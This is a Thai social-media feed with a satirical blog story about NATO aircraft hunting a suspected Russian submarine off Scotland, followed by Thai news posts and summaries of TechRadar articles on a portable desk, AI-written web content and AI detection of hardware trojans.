    Nimrod เป็นเครื่องบินจารกรรมที่ชาวเกาะภาคภูมืใจมาก ใช้มาตั้งแต่สมัย 1960 กว่า มีเครื่องดักจับเรือดำน้ำ อย่างไม่มีหลุด กองทัพเรือมีแผนพัฒนาให้จับให้ แม่น ให้อยู่หมัดมากขึ้น เสียดาย การพัฒนาใช้เวลานานเกินไป 9 ปี งบบานเกินไป ประมาณ 1.25 พันล้านปอนด์ การพัฒนาก็เลยค้าง เป็นโอกาสให้ฝ่ายคุณพี่ปูตินขอ ทดลองดูว่า ไม่มี Nimrod มาคอยจับแล้ว เรือดำน้ำเราจะรอดไหม ก็รอดจริงๆ เพราะเอาเด็กๆ มาช่วยตระเวนหา มันยังละอ่อนทั้งนั้น แล้วเวลาทำสงครามจะทำไงนี่ แค่เรือดำน้ำลำเดียว ขนกันมา 4 ประเทศ ยังหาไม่เจอเลย ไหนว่าเทคโนโลยีฝั่งนักล่าเจ๋งกว่าไง
    เรื่องเรือดำน้ำหายตัวได้นี่ ปิดกันเงียบ เพราะมันเสียหน้ากันทั่ว นาย Matthew Barzen ทูตอเมริกัน ประจำอังกฤษ ถึงกับขอร้องอังกฤษว่า อย่าเพิ่งตัดงบด้านความมั่นคงตอนนี้ได้ไหม เพราะเรา 2 ประเทศ มีผลประโยชน์ร่วมกัน จะให้อเมริกาแบกน้ำหนักข้างเดียวเหรอ ข้างตูก็ถูกตัดนะเว้ย แบบนี้ ฝ่ายโน้นมันก็เห็นฟันหรอของเราหมดสิ

    จนบัดนี้ก็ยังไม่มีความชัดเจนว่า จับวัตถูต้องสงสัยคล้ายเรือดำน้ำ ในท้องทะเลของชาวเกาะได้หรือไม่อย่างไร ข่าวแจงเพิ่มว่า ฝ่ายอังกฤษ ใช้เรือรบหลายลำ รวมทั้งขนเอาเรือสำหรับลากเรือดำน้ำ พร้อมเครื่องตรวจจับไปด้วย เรียกว่าขนกันเต็มยศเต็มอัตรามา เลย ส่วนเครื่องบิน ของลูกสมุนที่มาช่วยกันล่า อเมริกาส่ง P-3 Orions 2 ลำ แคนาดา ส่ง CP-140 Aurora ส่วนฝรั่งเศส ส่ง Atlantique 2 รวมทั้งเครื่องบินจารกรรมของอังกฤษเองด้วย

    ขณะที่ ด้านนี้กำลังตามล่าเรือดำน้ำ กองทัพเรือของชาวเกาะ ก็ตรวจพบร่องรอย ของเรือรบรัสเซียอีก 4 ลำ แล่นผ่านทะเลเหนือและช่องแคบ …ในช่วงเวลาไม่ห่างกันเท่าไหร่ อือหือ คุณพี่ปูตินเล่นเขาแรงนะ

    เมื่อโดนฉีกหน้ามากๆ ว่าต้องขอแรงลูกสมุนมาช่วย ชาวเกาะชักหน้าแเดงเป็นลูกมะอึก ให้โฆษกกลาโหมออกมาแถลงสั้นๆว่า ” สมาชิกนาโต้ได้ส่ง เครื่องบินลาดตระเวนมาช่วยราชนาวีของเรา ที่ Lossiemouth เป็นเวลาจำกัดระยะหนึ่ง เราขอไม่ลงในรายละเอียดของการปฏิบัติการ ”

    สงสัยเครื่องลาดตระเวน ที่มาช่วยตามล่า มันห่วยมากหรือไงครับ ถึงแถลงกันแบบไม่มีใยบัวกันเลย ท่านผู้อ่านที่เป็นผู้เชี่ยวชาญด้านเครื่องบิน ช่วยวิเคราะห์หน่อยครับว่า เครื่องล่ามันไม่เอาไหน หรือเรือดำน้ำของรัสเซียเขาเหนือกว่า

    สวัสดีครับ
    คนเล่านิทาน
    21 ธค. 2557
    ผลัดกันล้วง ตอนที่ 2 นิทานเรื่องจริง เรื่อง “ผลัดกันล้วง” ตอนที่ 2 ก่อนหน้ารายการ บินเฉี่ยวหัว ไม่กี่วัน แถวๆเกาะใหญ่เท่าปลายนิ้วก้อยฯ ก็มีเหตุการณ์ตื่นตูมกัน The Telegraph สื่อเสียงดังของชาวเกาะใหญ่เท่าปลายนิ้วก้อยฯ ออกข่าวเมื่อวันที่ 10 ธันวาคม 2014 สรุปว่า เครื่องบินลาดตระเวนจากฝรั่งเศส อเมริกา และแคนาดา ถูกเรียกให้มาร่วมด้วยช่วยกัน กับราชนาวีของชาวเกาะ ที่เคยโม้ไว้ว่าใหญ่คับฟ้า แต่คราวนี้โม้ไม่ออก ต้องส่งเสียงเรียกพวกให้มาช่วยกันตามล่า วัตถุที่ต้องสงสัยกันว่า เป็นเรือดำน้ำ แต่ดันไปโผล่พ้นน้ำ โชว์อยู่แถวตะวันตกของสก๊อตแลนด์ ช่วงปลายเดือนพฤศจิกายน เครืองบินลาดตะเวน ที่ถูกชาวเกาะจีบปากเรียกให้มา ใช้เวลาบินตรวจแถว Lossiemouth ของสก๊อตแลนด์อยู่หลายวัน ไม่พบอะไร แม้แต่ล๊อคเนส พญานาคสัญชาติสก๊อต ก็ไม่แวบมาให้ชม ข่าวบอกว่า วัตถุต้องสงสัยว่าเป็นเรือดำน้ำนั้น น่าจะเป็นของรัสเซีย ที่เพิ่งไปแวะเยี่ยมน่านน้ำสวีเดน ( ฮั่นแน่ เรื่องนี้เอง ) เมื่อประมาณเดือนตุลาคม ซึ่งสวีเดนเม้มปากแน่น ไม่ยอมแอะออกมา เพราะกลัวเสียหน้า ไม่เสียยังไง เขาว่า เรือดำน้ำโผล่หัวขึ้นมาสวัสดี ที่ทะเลหน้ากรุงสต๊อกโฮม เมืองหลวงเลยนะ นี่มันไม่ใช่แค่เฉี่ยวหัว แต่มันเปียกเต็มหน้า แล้วก็จับไม่ได้คาหนัง แบบนี้จะไม่ให้แค้นค้างบัญชีได้ยังไง ที่เสียหน้าไม่แพ้กัน ก็ชาวเกาะใหญ่เท่าปลายนิ้วก้อยของเท้าซ้ายนั่นแหละคุยดีนั กว่า กองทัพเรืออังกฤษ ใหญ่เป็นที่หนึ่งของโลก ปี 2010 ชาวเกาะถังแตก ไม่ต่างกับ นักล่าใบตองแห้ง ต้องตัตงบด้านความมั่นคง เอาอย่างกัน เลยต้องแบกหน้าอันยิ่งใหญ่ เรียกให้ลูกสมุนมาด่วน มาช่วยกันค้นหา ไอ้ตัวที่กำลังดำน้ำมาล้วงคอพวกเรา Nimrod เป็นเครื่องบินจารกรรมที่ชาวเกาะภาคภูมืใจมาก ใช้มาตั้งแต่สมัย 1960 กว่า มีเครื่องดักจับเรือดำน้ำ อย่างไม่มีหลุด กองทัพเรือมีแผนพัฒนาให้จับให้ แม่น ให้อยู่หมัดมากขึ้น เสียดาย การพัฒนาใช้เวลานานเกินไป 9 ปี งบบานเกินไป ประมาณ 1.25 พันล้านปอนด์ การพัฒนาก็เลยค้าง เป็นโอกาสให้ฝ่ายคุณพี่ปูตินขอ ทดลองดูว่า ไม่มี Nimrod มาคอยจับแล้ว เรือดำน้ำเราจะรอดไหม ก็รอดจริงๆ เพราะเอาเด็กๆ มาช่วยตระเวนหา มันยังละอ่อนทั้งนั้น แล้วเวลาทำสงครามจะทำไงนี่ แค่เรือดำน้ำลำเดียว ขนกันมา 4 ประเทศ ยังหาไม่เจอเลย ไหนว่าเทคโนโลยีฝั่งนักล่าเจ๋งกว่าไง เรื่องเรือดำน้ำหายตัวได้นี่ ปิดกันเงียบ เพราะมันเสียหน้ากันทั่ว นาย Matthew Barzen ทูตอเมริกัน ประจำอังกฤษ ถึงกับขอร้องอังกฤษว่า อย่าเพิ่งตัดงบด้านความมั่นคงตอนนี้ได้ไหม เพราะเรา 2 ประเทศ มีผลประโยชน์ร่วมกัน จะให้อเมริกาแบกน้ำหนักข้างเดียวเหรอ ข้างตูก็ถูกตัดนะเว้ย แบบนี้ ฝ่ายโน้นมันก็เห็นฟันหรอของเราหมดสิ จนบัดนี้ก็ยังไม่มีความชัดเจนว่า จับวัตถูต้องสงสัยคล้ายเรือดำน้ำ ในท้องทะเลของชาวเกาะได้หรือไม่อย่างไร ข่าวแจงเพิ่มว่า ฝ่ายอังกฤษ ใช้เรือรบหลายลำ รวมทั้งขนเอาเรือสำหรับลากเรือดำน้ำ พร้อมเครื่องตรวจจับไปด้วย เรียกว่าขนกันเต็มยศเต็มอัตรามา เลย ส่วนเครื่องบิน ของลูกสมุนที่มาช่วยกันล่า อเมริกาส่ง P-3 Orions 2 ลำ แคนาดา ส่ง CP-140 Aurora ส่วนฝรั่งเศส ส่ง Atlantique 2 รวมทั้งเครื่องบินจารกรรมของอังกฤษเองด้วย ขณะที่ ด้านนี้กำลังตามล่าเรือดำน้ำ กองทัพเรือของชาวเกาะ ก็ตรวจพบร่องรอย ของเรือรบรัสเซียอีก 4 ลำ แล่นผ่านทะเลเหนือและช่องแคบ …ในช่วงเวลาไม่ห่างกันเท่าไหร่ อือหือ คุณพี่ปูตินเล่นเขาแรงนะ เมื่อโดนฉีกหน้ามากๆ ว่าต้องขอแรงลูกสมุนมาช่วย ชาวเกาะชักหน้าแเดงเป็นลูกมะอึก ให้โฆษกกลาโหมออกมาแถลงสั้นๆว่า ” สมาชิกนาโต้ได้ส่ง เครื่องบินลาดตระเวนมาช่วยราชนาวีของเรา ที่ Lossiemouth เป็นเวลาจำกัดระยะหนึ่ง เราขอไม่ลงในรายละเอียดของการปฏิบัติการ ” สงสัยเครื่องลาดตระเวน ที่มาช่วยตามล่า มันห่วยมากหรือไงครับ ถึงแถลงกันแบบไม่มีใยบัวกันเลย ท่านผู้อ่านที่เป็นผู้เชี่ยวชาญด้านเครื่องบิน ช่วยวิเคราะห์หน่อยครับว่า เครื่องล่ามันไม่เอาไหน หรือเรือดำน้ำของรัสเซียเขาเหนือกว่า สวัสดีครับ คนเล่านิทาน 21 ธค. 2557
    0 ความคิดเห็น 0 การแบ่งปัน 31 มุมมอง 0 รีวิว
  • เพื่อไทยเปิดตัว 22 ผู้สมัคร สส. ล็อตใหม่ "สุริยะ" ลั่นไม่ตายไม่สูญพันธุ์ ท้าชนพรรคอื่นสู้ด้วยนโยบาย ไม่ใช่ซื้อตัว
    https://www.thai-tai.tv/news/21944/
    .
    #ไทยไท #พรรคเพื่อไทย #สุริยะจึงรุ่งเรืองกิจ #เลือกตั้ง #ซื้อตัวสส #เลือดใหม่เพื่อไทย
    เพื่อไทยเปิดตัว 22 ผู้สมัคร สส. ล็อตใหม่ "สุริยะ" ลั่นไม่ตายไม่สูญพันธุ์ ท้าชนพรรคอื่นสู้ด้วยนโยบาย ไม่ใช่ซื้อตัว https://www.thai-tai.tv/news/21944/ . #ไทยไท #พรรคเพื่อไทย #สุริยะจึงรุ่งเรืองกิจ #เลือกตั้ง #ซื้อตัวสส #เลือดใหม่เพื่อไทย
    0 ความคิดเห็น 0 การแบ่งปัน 24 มุมมอง 0 รีวิว
  • กองทัพไทย เปิดรูปแบบใหม่ "รั้วชายแดนคอนกรีตสำเร็จรูป" เสริมความมั่นคง-ป้องกันลักลอบข้ามแดนไทย-กัมพูชา
    https://www.thai-tai.tv/news/21940/
    .
    #ไทยไท #รั้วชายแดนไทยกัมพูชา #กองทัพไทย #ความมั่นคง #รั้วตะแกรงเหล็ก #AntiClimbDevice
    กองทัพไทย เปิดรูปแบบใหม่ "รั้วชายแดนคอนกรีตสำเร็จรูป" เสริมความมั่นคง-ป้องกันลักลอบข้ามแดนไทย-กัมพูชา https://www.thai-tai.tv/news/21940/ . #ไทยไท #รั้วชายแดนไทยกัมพูชา #กองทัพไทย #ความมั่นคง #รั้วตะแกรงเหล็ก #AntiClimbDevice
    0 ความคิดเห็น 0 การแบ่งปัน 32 มุมมอง 0 รีวิว
  • “โต๊ะพกพา AeroTrac — พับใส่เป้ได้ แต่จะปลอดภัยกับ MacBook Pro $10,000 ไหม?” — เมื่อความคล่องตัวชนกับความเสี่ยงของอุปกรณ์ราคาแพง

    Tether Tools ได้เปิดตัว AeroTrac Workstation System ซึ่งเป็นโต๊ะทำงานแบบพกพาที่ออกแบบมาเพื่อผู้สร้างคอนเทนต์ที่ต้องการความคล่องตัวในการทำงานนอกสถานที่ โดยโต๊ะนี้สามารถพับเก็บเป็นขนาดเท่ากระดาษ A4 และมีหูหิ้วผ้าใบสำหรับพกพาไปทุกที่ แม้จะดูสะดวก แต่หลายคนตั้งคำถามว่า “จะปลอดภัยแค่ไหนถ้าเอา MacBook Pro ราคา $10,000 ไปวางบนโต๊ะพับกลางแจ้ง?”

    โต๊ะ AeroTrac ทำจากอะลูมิเนียมน้ำหนักเบาเพียง 3.3 ปอนด์ แต่สามารถรองรับน้ำหนักได้ถึง 30 ปอนด์ มีระบบรางสำหรับติดตั้งอุปกรณ์เสริมผ่านช่องเกลียวมาตรฐาน และสามารถติดตั้งบนขาตั้งกล้อง, C-stand หรือรถเข็นได้ อีกทั้งยังมีขาเสริมให้กลายเป็นโต๊ะตั้งพื้นได้ด้วย

    แม้จะมีฟีเจอร์มากมาย แต่ผู้เชี่ยวชาญยังคงกังวลเรื่องความเสี่ยง เช่น การสั่นสะเทือน, ฝุ่น, หรือแรงกระแทกที่อาจเกิดขึ้นระหว่างการใช้งานกลางแจ้ง ซึ่งอาจไม่เหมาะกับอุปกรณ์ราคาแพงอย่าง MacBook Pro หรือ GPU ระดับสูง

    โต๊ะนี้มีราคาอยู่ที่ $299 และเปิดให้ผู้ใช้ปรับแต่งอุปกรณ์เสริมผ่านไฟล์ 3D print แบบ open-source ซึ่งเหมาะกับช่างภาพ, นักทำวิดีโอ และศิลปินดิจิทัลที่ต้องย้ายสถานที่ทำงานบ่อย ๆ

    Tether Tools เปิดตัว AeroTrac Workstation System โต๊ะพกพาสำหรับผู้สร้างคอนเทนต์
    พับเก็บได้ขนาด 8.5x11 นิ้ว น้ำหนัก 3.3 ปอนด์
    พื้นโต๊ะขนาด 17x11 นิ้ว รองรับน้ำหนักได้ 30 ปอนด์

    มีระบบรางติดตั้งอุปกรณ์เสริมผ่านช่องเกลียวมาตรฐาน
    ติดตั้งได้บนขาตั้งกล้อง, C-stand หรือรถเข็น

    มีขาเสริมให้กลายเป็นโต๊ะตั้งพื้น
    เหมาะกับช่างภาพ, นักทำวิดีโอ และศิลปินดิจิทัล

    ราคาอยู่ที่ $299 พร้อมไฟล์ 3D print แบบ open-source สำหรับปรับแต่ง
    รองรับการใช้งานแบบโมดูลาร์และพกพา

    มีหูหิ้วผ้าใบและแม่เหล็กพับเก็บง่าย
    ออกแบบมาเพื่อความคล่องตัวในการเดินทาง

    https://www.techradar.com/pro/someone-designed-an-open-portable-desk-with-a-canvas-handle-to-carry-your-usd10-000-apple-macbook-pro-laptop-around-but-somehow-i-dont-think-it-is-a-very-good-idea
    💼 “โต๊ะพกพา AeroTrac — พับใส่เป้ได้ แต่จะปลอดภัยกับ MacBook Pro $10,000 ไหม?” — เมื่อความคล่องตัวชนกับความเสี่ยงของอุปกรณ์ราคาแพง Tether Tools ได้เปิดตัว AeroTrac Workstation System ซึ่งเป็นโต๊ะทำงานแบบพกพาที่ออกแบบมาเพื่อผู้สร้างคอนเทนต์ที่ต้องการความคล่องตัวในการทำงานนอกสถานที่ โดยโต๊ะนี้สามารถพับเก็บเป็นขนาดเท่ากระดาษ A4 และมีหูหิ้วผ้าใบสำหรับพกพาไปทุกที่ แม้จะดูสะดวก แต่หลายคนตั้งคำถามว่า “จะปลอดภัยแค่ไหนถ้าเอา MacBook Pro ราคา $10,000 ไปวางบนโต๊ะพับกลางแจ้ง?” โต๊ะ AeroTrac ทำจากอะลูมิเนียมน้ำหนักเบาเพียง 3.3 ปอนด์ แต่สามารถรองรับน้ำหนักได้ถึง 30 ปอนด์ มีระบบรางสำหรับติดตั้งอุปกรณ์เสริมผ่านช่องเกลียวมาตรฐาน และสามารถติดตั้งบนขาตั้งกล้อง, C-stand หรือรถเข็นได้ อีกทั้งยังมีขาเสริมให้กลายเป็นโต๊ะตั้งพื้นได้ด้วย แม้จะมีฟีเจอร์มากมาย แต่ผู้เชี่ยวชาญยังคงกังวลเรื่องความเสี่ยง เช่น การสั่นสะเทือน, ฝุ่น, หรือแรงกระแทกที่อาจเกิดขึ้นระหว่างการใช้งานกลางแจ้ง ซึ่งอาจไม่เหมาะกับอุปกรณ์ราคาแพงอย่าง MacBook Pro หรือ GPU ระดับสูง โต๊ะนี้มีราคาอยู่ที่ $299 และเปิดให้ผู้ใช้ปรับแต่งอุปกรณ์เสริมผ่านไฟล์ 3D print แบบ open-source ซึ่งเหมาะกับช่างภาพ, นักทำวิดีโอ และศิลปินดิจิทัลที่ต้องย้ายสถานที่ทำงานบ่อย ๆ ✅ Tether Tools เปิดตัว AeroTrac Workstation System โต๊ะพกพาสำหรับผู้สร้างคอนเทนต์ ➡️ พับเก็บได้ขนาด 8.5x11 นิ้ว น้ำหนัก 3.3 ปอนด์ ➡️ พื้นโต๊ะขนาด 17x11 นิ้ว รองรับน้ำหนักได้ 30 ปอนด์ ✅ มีระบบรางติดตั้งอุปกรณ์เสริมผ่านช่องเกลียวมาตรฐาน ➡️ ติดตั้งได้บนขาตั้งกล้อง, C-stand หรือรถเข็น ✅ มีขาเสริมให้กลายเป็นโต๊ะตั้งพื้น ➡️ เหมาะกับช่างภาพ, นักทำวิดีโอ และศิลปินดิจิทัล ✅ ราคาอยู่ที่ $299 พร้อมไฟล์ 3D print แบบ open-source สำหรับปรับแต่ง ➡️ รองรับการใช้งานแบบโมดูลาร์และพกพา ✅ มีหูหิ้วผ้าใบและแม่เหล็กพับเก็บง่าย ➡️ ออกแบบมาเพื่อความคล่องตัวในการเดินทาง https://www.techradar.com/pro/someone-designed-an-open-portable-desk-with-a-canvas-handle-to-carry-your-usd10-000-apple-macbook-pro-laptop-around-but-somehow-i-dont-think-it-is-a-very-good-idea
    WWW.TECHRADAR.COM
    This portable desk holds your MacBook Pro like a coffee tray
    AeroTrac blends precision engineering with a hint of impractical ambition
    0 ความคิดเห็น 0 การแบ่งปัน 57 มุมมอง 0 รีวิว
  • “อินเทอร์เน็ตตอนนี้เขียนโดย AI เป็นส่วนใหญ่แล้ว” — เมื่อบทความออนไลน์กลายเป็นผลงานของเครื่องจักร มากกว่ามนุษย์

    ผลการศึกษาจาก Graphite พบว่า ณ เดือนพฤศจิกายนปีที่ผ่านมา กว่า 50% ของบทความใหม่ที่เผยแพร่บนเว็บถูกสร้างโดยปัญญาประดิษฐ์ (AI) ซึ่งถือเป็นจุดเปลี่ยนสำคัญในโลกของเนื้อหาออนไลน์ แม้ตัวเลขจะทรงตัวตั้งแต่เดือนพฤษภาคม แต่ก็สะท้อนถึงการเปลี่ยนแปลงเชิงโครงสร้างของการผลิตเนื้อหา

    การศึกษานี้ใช้เครื่องมือตรวจจับ AI วิเคราะห์บทความกว่า 65,000 URL จาก Common Crawl โดยพิจารณาว่าบทความใดมีเนื้อหาที่ตรงกับเกณฑ์การตรวจจับ AI เกิน 50% ซึ่งแม้เครื่องมือจะมีอัตราความผิดพลาดเล็กน้อย (false positive 4.2%, false negative 0.6%) แต่ผลลัพธ์ก็ชัดเจนว่า AI ได้กลายเป็นผู้เขียนหลักของอินเทอร์เน็ต

    อย่างไรก็ตาม บทความที่สร้างโดย AI ส่วนใหญ่ไม่ปรากฏในผลการค้นหาของ Google หรือคำตอบจาก ChatGPT เพราะระบบยังให้ความสำคัญกับเนื้อหาที่มนุษย์เขียนมากกว่า ส่งผลให้บทความ AI จำนวนมากไม่ถูกมองเห็นโดยผู้ใช้ทั่วไป

    การเพิ่มขึ้นของเนื้อหา AI เกิดขึ้นอย่างรวดเร็วหลังการเปิดตัว ChatGPT ในปลายปี 2022 โดยในเวลาเพียง 12 เดือน สัดส่วนบทความ AI เพิ่มจากเกือบศูนย์เป็นเกือบ 40% และยังคงสูงอยู่แม้จะไม่เพิ่มขึ้นต่อเนื่อง

    สาเหตุหลักมาจากต้นทุนการผลิตเนื้อหาด้วย AI ที่ต่ำลงอย่างมาก ทำให้บริษัทสื่อ, นักการตลาด และฟาร์มคอนเทนต์หันมาใช้ AI แทนมนุษย์ โดยไม่คำนึงถึงคุณภาพหรือผลกระทบต่อผู้อ่าน ซึ่งหลายบทความที่ผลิตออกมามีลักษณะซ้ำซากและไม่น่าสนใจ

    กว่า 50% ของบทความใหม่บนเว็บถูกสร้างโดย AI
    ข้อมูลจากการศึกษาของ Graphite โดยใช้ Common Crawl

    การตรวจจับใช้เครื่องมือ AI-detection กับบทความ 65,000 URL
    พิจารณาว่าเนื้อหาตรงกับเกณฑ์ AI เกิน 50% หรือไม่

    อัตราความผิดพลาดของเครื่องมืออยู่ที่ false positive 4.2% และ false negative 0.6%
    ถือว่าแม่นยำในระดับที่น่าเชื่อถือ

    บทความ AI ส่วนใหญ่ไม่ปรากฏใน Google หรือ ChatGPT
    เพราะระบบยังให้ความสำคัญกับเนื้อหาที่มนุษย์เขียน

    การเพิ่มขึ้นของเนื้อหา AI เกิดขึ้นหลังการเปิดตัว ChatGPT
    จากเกือบ 0% เป็น 40% ภายใน 12 เดือน

    ต้นทุนการผลิตเนื้อหาด้วย AI ต่ำลงอย่างมาก
    ส่งผลให้บริษัทสื่อและฟาร์มคอนเทนต์หันมาใช้ AI

    https://www.techradar.com/ai-platforms-assistants/the-internet-is-now-mostly-written-by-machines-study-finds
    📝 “อินเทอร์เน็ตตอนนี้เขียนโดย AI เป็นส่วนใหญ่แล้ว” — เมื่อบทความออนไลน์กลายเป็นผลงานของเครื่องจักร มากกว่ามนุษย์ ผลการศึกษาจาก Graphite พบว่า ณ เดือนพฤศจิกายนปีที่ผ่านมา กว่า 50% ของบทความใหม่ที่เผยแพร่บนเว็บถูกสร้างโดยปัญญาประดิษฐ์ (AI) ซึ่งถือเป็นจุดเปลี่ยนสำคัญในโลกของเนื้อหาออนไลน์ แม้ตัวเลขจะทรงตัวตั้งแต่เดือนพฤษภาคม แต่ก็สะท้อนถึงการเปลี่ยนแปลงเชิงโครงสร้างของการผลิตเนื้อหา การศึกษานี้ใช้เครื่องมือตรวจจับ AI วิเคราะห์บทความกว่า 65,000 URL จาก Common Crawl โดยพิจารณาว่าบทความใดมีเนื้อหาที่ตรงกับเกณฑ์การตรวจจับ AI เกิน 50% ซึ่งแม้เครื่องมือจะมีอัตราความผิดพลาดเล็กน้อย (false positive 4.2%, false negative 0.6%) แต่ผลลัพธ์ก็ชัดเจนว่า AI ได้กลายเป็นผู้เขียนหลักของอินเทอร์เน็ต อย่างไรก็ตาม บทความที่สร้างโดย AI ส่วนใหญ่ไม่ปรากฏในผลการค้นหาของ Google หรือคำตอบจาก ChatGPT เพราะระบบยังให้ความสำคัญกับเนื้อหาที่มนุษย์เขียนมากกว่า ส่งผลให้บทความ AI จำนวนมากไม่ถูกมองเห็นโดยผู้ใช้ทั่วไป การเพิ่มขึ้นของเนื้อหา AI เกิดขึ้นอย่างรวดเร็วหลังการเปิดตัว ChatGPT ในปลายปี 2022 โดยในเวลาเพียง 12 เดือน สัดส่วนบทความ AI เพิ่มจากเกือบศูนย์เป็นเกือบ 40% และยังคงสูงอยู่แม้จะไม่เพิ่มขึ้นต่อเนื่อง สาเหตุหลักมาจากต้นทุนการผลิตเนื้อหาด้วย AI ที่ต่ำลงอย่างมาก ทำให้บริษัทสื่อ, นักการตลาด และฟาร์มคอนเทนต์หันมาใช้ AI แทนมนุษย์ โดยไม่คำนึงถึงคุณภาพหรือผลกระทบต่อผู้อ่าน ซึ่งหลายบทความที่ผลิตออกมามีลักษณะซ้ำซากและไม่น่าสนใจ ✅ กว่า 50% ของบทความใหม่บนเว็บถูกสร้างโดย AI ➡️ ข้อมูลจากการศึกษาของ Graphite โดยใช้ Common Crawl ✅ การตรวจจับใช้เครื่องมือ AI-detection กับบทความ 65,000 URL ➡️ พิจารณาว่าเนื้อหาตรงกับเกณฑ์ AI เกิน 50% หรือไม่ ✅ อัตราความผิดพลาดของเครื่องมืออยู่ที่ false positive 4.2% และ false negative 0.6% ➡️ ถือว่าแม่นยำในระดับที่น่าเชื่อถือ ✅ บทความ AI ส่วนใหญ่ไม่ปรากฏใน Google หรือ ChatGPT ➡️ เพราะระบบยังให้ความสำคัญกับเนื้อหาที่มนุษย์เขียน ✅ การเพิ่มขึ้นของเนื้อหา AI เกิดขึ้นหลังการเปิดตัว ChatGPT ➡️ จากเกือบ 0% เป็น 40% ภายใน 12 เดือน ✅ ต้นทุนการผลิตเนื้อหาด้วย AI ต่ำลงอย่างมาก ➡️ ส่งผลให้บริษัทสื่อและฟาร์มคอนเทนต์หันมาใช้ AI https://www.techradar.com/ai-platforms-assistants/the-internet-is-now-mostly-written-by-machines-study-finds
    WWW.TECHRADAR.COM
    The internet is now mostly written by machines, study finds
    More than half of new articles online are AI-generated, even if you rarely see them
    0 ความคิดเห็น 0 การแบ่งปัน 70 มุมมอง 0 รีวิว
  • “AI ตรวจจับภัยในชิปได้ 97% แต่ยังไม่พอ” — เมื่อความแม่นยำสูงยังไม่อาจรับประกันความปลอดภัยในโลกฮาร์ดแวร์

    ในโลกที่ชิปคอมพิวเตอร์เป็นหัวใจของทุกระบบ ตั้งแต่ศูนย์ข้อมูลไปจนถึงอุปกรณ์ทางการแพทย์และการทหาร ความปลอดภัยของฮาร์ดแวร์จึงเป็นเรื่องที่ไม่อาจมองข้าม ล่าสุดนักวิจัยจากมหาวิทยาลัย Missouri ได้พัฒนา PEARL — ระบบที่ใช้ AI ตรวจจับ “hardware trojans” หรือช่องโหว่ที่ถูกฝังไว้ในขั้นตอนการผลิตชิป

    PEARL ใช้โมเดลภาษาขนาดใหญ่ (LLMs) เช่น GPT-3.5 Turbo, Gemini 1.5 Pro, Llama 3.1 และ DeepSeek-V2 เพื่อวิเคราะห์โค้ด Verilog โดยไม่ต้องใช้โมเดลอ้างอิงแบบ “golden chip” และสามารถอธิบายผลการตรวจจับได้อย่างเข้าใจง่าย

    ผลการทดลองพบว่า GPT-3.5 Turbo ตรวจจับได้แม่นยำถึง 97% ขณะที่ DeepSeek-V2 ทำได้ 91% ซึ่งถือว่าสูงมากในแง่เทคนิค แต่ผู้เชี่ยวชาญเตือนว่า “แม้จะพลาดเพียง 3% ก็อาจนำไปสู่หายนะ” เพราะชิปเหล่านี้ถูกใช้ในระบบที่มีความเสี่ยงสูง เช่น การเงินและความมั่นคงของชาติ

    การตรวจจับ hardware trojans เป็นเรื่องยาก เพราะชิปถูกผลิตผ่านห่วงโซ่อุปทานที่ซับซ้อนในหลายประเทศ และช่องโหว่อาจถูกฝังในขั้นตอนใดก็ได้ การตรวจสอบแบบ manual ยังจำเป็นเพื่อเสริมความมั่นใจ แม้ AI จะช่วยได้มากก็ตาม

    นักวิจัยจากมหาวิทยาลัย Missouri พัฒนา PEARL เพื่อตรวจจับ hardware trojans
    ใช้ LLMs เช่น GPT-3.5 Turbo, Gemini 1.5 Pro, Llama 3.1 และ DeepSeek-V2
    วิเคราะห์โค้ด Verilog โดยไม่ต้องใช้ golden chip

    PEARL ใช้เทคนิค in-context learning เช่น zero-shot และ few-shot
    ให้ผลลัพธ์พร้อมคำอธิบายที่เข้าใจง่าย

    GPT-3.5 Turbo ตรวจจับได้แม่นยำถึง 97%
    DeepSeek-V2 ทำได้ 91%

    ทดสอบกับ benchmark เช่น Trust-Hub และ ISCAS 85/89
    ใช้ทั้งโมเดล open-source และ enterprise

    PEARL ไม่ต้องใช้โมเดลอ้างอิง ทำให้ใช้งานได้กว้างขึ้น
    เหมาะกับการตรวจสอบชิปในระบบที่ไม่มี golden reference

    แม้ AI จะตรวจจับได้ 97% แต่ยังมีช่องว่างที่อาจนำไปสู่หายนะ
    ความผิดพลาดเพียงเล็กน้อยในชิปอาจทำให้ระบบล่มหรือถูกเจาะ

    ห่วงโซ่อุปทานของชิปมีความซับซ้อนและเสี่ยงต่อการฝังช่องโหว่
    การตรวจสอบต้องครอบคลุมทุกขั้นตอน ตั้งแต่การออกแบบจนถึงการประกอบ

    การพึ่งพา AI เพียงอย่างเดียวอาจไม่เพียงพอในระบบที่มีความเสี่ยงสูง
    ยังต้องมีการตรวจสอบแบบ manual และการทดสอบเชิงลึก

    ความแม่นยำของโมเดลอาจแตกต่างกันตามบริบทและประเภทของโค้ด
    ต้องเลือกโมเดลให้เหมาะกับงานและมีการปรับแต่งอย่างเหมาะสม

    https://www.techradar.com/pro/ai-can-detect-malicious-chip-vulnerabilities-with-a-97-success-rate-but-i-fear-that-is-simply-not-enough
    🧠 “AI ตรวจจับภัยในชิปได้ 97% แต่ยังไม่พอ” — เมื่อความแม่นยำสูงยังไม่อาจรับประกันความปลอดภัยในโลกฮาร์ดแวร์ ในโลกที่ชิปคอมพิวเตอร์เป็นหัวใจของทุกระบบ ตั้งแต่ศูนย์ข้อมูลไปจนถึงอุปกรณ์ทางการแพทย์และการทหาร ความปลอดภัยของฮาร์ดแวร์จึงเป็นเรื่องที่ไม่อาจมองข้าม ล่าสุดนักวิจัยจากมหาวิทยาลัย Missouri ได้พัฒนา PEARL — ระบบที่ใช้ AI ตรวจจับ “hardware trojans” หรือช่องโหว่ที่ถูกฝังไว้ในขั้นตอนการผลิตชิป PEARL ใช้โมเดลภาษาขนาดใหญ่ (LLMs) เช่น GPT-3.5 Turbo, Gemini 1.5 Pro, Llama 3.1 และ DeepSeek-V2 เพื่อวิเคราะห์โค้ด Verilog โดยไม่ต้องใช้โมเดลอ้างอิงแบบ “golden chip” และสามารถอธิบายผลการตรวจจับได้อย่างเข้าใจง่าย ผลการทดลองพบว่า GPT-3.5 Turbo ตรวจจับได้แม่นยำถึง 97% ขณะที่ DeepSeek-V2 ทำได้ 91% ซึ่งถือว่าสูงมากในแง่เทคนิค แต่ผู้เชี่ยวชาญเตือนว่า “แม้จะพลาดเพียง 3% ก็อาจนำไปสู่หายนะ” เพราะชิปเหล่านี้ถูกใช้ในระบบที่มีความเสี่ยงสูง เช่น การเงินและความมั่นคงของชาติ การตรวจจับ hardware trojans เป็นเรื่องยาก เพราะชิปถูกผลิตผ่านห่วงโซ่อุปทานที่ซับซ้อนในหลายประเทศ 